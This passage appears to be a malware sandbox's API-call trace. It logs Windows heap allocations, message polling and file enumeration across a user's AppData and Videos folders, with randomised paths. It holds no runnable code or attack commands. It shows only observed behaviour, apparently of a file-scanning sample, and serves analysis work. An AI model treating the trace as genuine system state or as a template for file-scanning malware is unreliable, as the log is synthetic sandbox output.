ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0069.982] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0069.982] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ac0 [0069.982] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0069.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0069.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0069.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0069.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0069.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.988] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.988] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.988] PathFindFileNameW (pszPath="") returned="" [0069.988] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.988] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.988] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0069.988] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0069.988] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.988] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.988] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\") returned="Qsu-c\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\") returned="WnrIX\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\") returned="3Us5nuIYL1u_RnPPuJ\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.989] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.989] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.989] PathFindFileNameW (pszPath="") returned="" [0069.989] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ba83a70, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0xc40b0260, ftLastAccessTime.dwHighDateTime=0x1d4cff5, ftLastWriteTime.dwLowDateTime=0xc40b0260, ftLastWriteTime.dwHighDateTime=0x1d4cff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.989] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ba83a70, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0xc40b0260, ftLastAccessTime.dwHighDateTime=0x1d4cff5, ftLastWriteTime.dwLowDateTime=0xc40b0260, ftLastWriteTime.dwHighDateTime=0x1d4cff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.989] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5ee5ab0, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x6cb94c70, ftLastAccessTime.dwHighDateTime=0x1d4c793, ftLastWriteTime.dwLowDateTime=0x6cb94c70, ftLastWriteTime.dwHighDateTime=0x1d4c793, nFileSizeHigh=0x0, nFileSizeLow=0x4294, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bdG_-DYiIf114xqMAY.swf", cAlternateFileName="BDG_-D~1.SWF")) returned 1 [0069.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 